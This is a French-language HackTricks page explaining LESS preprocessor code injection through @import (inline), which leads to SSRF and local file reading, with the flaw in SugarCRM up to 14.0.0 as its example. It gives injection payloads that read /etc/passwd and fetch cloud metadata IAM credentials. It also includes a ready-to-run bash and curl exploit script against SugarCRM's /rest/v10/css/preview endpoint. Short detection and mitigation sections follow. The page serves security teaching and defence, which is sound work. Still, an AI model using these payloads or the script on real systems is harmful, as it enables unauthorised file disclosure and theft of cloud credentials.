LESS Injection de Code menant à SSRF & Lecture de Fichiers Locaux
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import
. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les déclarations @import
et intégrer ("inline") leur contenu dans le CSS résultant lorsque l'option (inline)
est utilisée.
Lorsque qu'une application concatène une entrée contrôlée par l'utilisateur dans une chaîne qui est ensuite analysée par le compilateur LESS, un attaquant peut injecter du code LESS arbitraire. En abusant de @import (inline)
, l'attaquant peut forcer le serveur à récupérer :
- Des fichiers locaux via le protocole
file://
(divulgation d'informations / Inclusion de Fichiers Locaux). - Des ressources distantes sur des réseaux internes ou des services de métadonnées cloud (SSRF).
Cette technique a été observée dans des produits réels tels que SugarCRM ≤ 14.0.0 (point de terminaison /rest/v10/css/preview
).
Exploitation
- Identifier un paramètre qui est directement intégré dans une chaîne de feuille de style traitée par le moteur LESS (par exemple,
?lm=
dans SugarCRM). - Fermer la déclaration actuelle et injecter de nouvelles directives. Les primitives les plus courantes sont :
;
– termine la déclaration précédente.}
– ferme le bloc précédent (si nécessaire).
- Utiliser
@import (inline) '<URL>';
pour lire des ressources arbitraires. - En option, injecter un marqueur (
data:
URI) après l'import pour faciliter l'extraction du contenu récupéré à partir du CSS compilé.
Lecture de Fichiers Locaux
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Le contenu de /etc/passwd
apparaîtra dans la réponse HTTP juste avant le marqueur @@END@@
.
SSRF – Métadonnées Cloud
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatisée (exemple SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Détection
- Recherchez des réponses
.less
ou.css
générées dynamiquement contenant des paramètres de requête non assainis. - Lors de la révision du code, recherchez des constructions comme
"@media all { .preview { ... ${userInput} ... } }"
passées aux fonctions de rendu LESS. - Les tentatives d'exploitation incluent souvent
@import
,(inline)
,file://
,http://169.254.169.254
, etc.
Atténuations
- Ne pas passer de données non fiables au compilateur LESS.
- Si des valeurs dynamiques sont nécessaires, les échapper/assainir correctement (par exemple, restreindre aux jetons numériques, listes blanches).
- Désactiver, lorsque cela est possible, la possibilité d'utiliser des imports
(inline)
, ou limiter les protocoles autorisés àhttps
. - Gardez les dépendances à jour – SugarCRM a corrigé ce problème dans les versions 13.0.4 et 14.0.1.
Cas du monde réel
Produit | Point de terminaison vulnérable | Impact |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF non authentifié & lecture de fichiers locaux |
Références
- SugarCRM ≤ 14.0.0 (css/preview) Vulnérabilité d'injection de code LESS
- Avis de sécurité SugarCRM SA-2024-059
- CVE-2024-58258
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.